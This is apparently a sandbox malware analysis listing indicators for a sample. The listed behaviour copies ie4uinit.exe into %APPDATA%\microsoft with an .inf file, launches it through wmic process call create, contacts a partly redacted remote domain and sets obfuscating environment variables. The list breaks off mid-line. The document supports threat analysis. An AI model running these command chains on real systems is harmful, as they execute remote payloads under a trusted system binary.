Technical Information
- '<SYSTEM32>\xcopy.exe' /Y /C /Q <SYSTEM32>\ie4uinit.exe "%APPDATA%\microsoft\*"
- '<SYSTEM32>\wbem\wmic.exe' process call create "%APPDATA%\microsoft\ie4uinit.exe -basesettings"
- %APPDATA%\microsoft\ieuinit.inf
- %APPDATA%\microsoft\ie4uinit.exe
- 'ja####achman.com':80
- http://ja####achman.com/nsajgv
- DNS ASK ja####achman.com
- '%APPDATA%\microsoft\ie4uinit.exe' -basesettings
- '<SYSTEM32>\cmd.exe' /S /D /c" call xcopy /Y /C /Q <SYSTEM32>\ie4uinit.exe "%APPDATA%\microsoft\*" "
- '<SYSTEM32>\cmd.exe' /S /D /c" set Embark91=Decade "
- '<SYSTEM32>\cmd.exe' /S /D /c" start "" wmic process call create "%APPDATA%\microsoft\ie4uinit.exe -basesettings" "
- '<SYSTEM32>\cmd.exe' /S /D /c" set "Embark71=Shadow Campus Vibrant Rhythm Inquiries Charge Parks Processes Errors Markers Language Stumble Crane Liabilities Apology Simpsons Disorder Aisle Meets Citizens Slides Emo...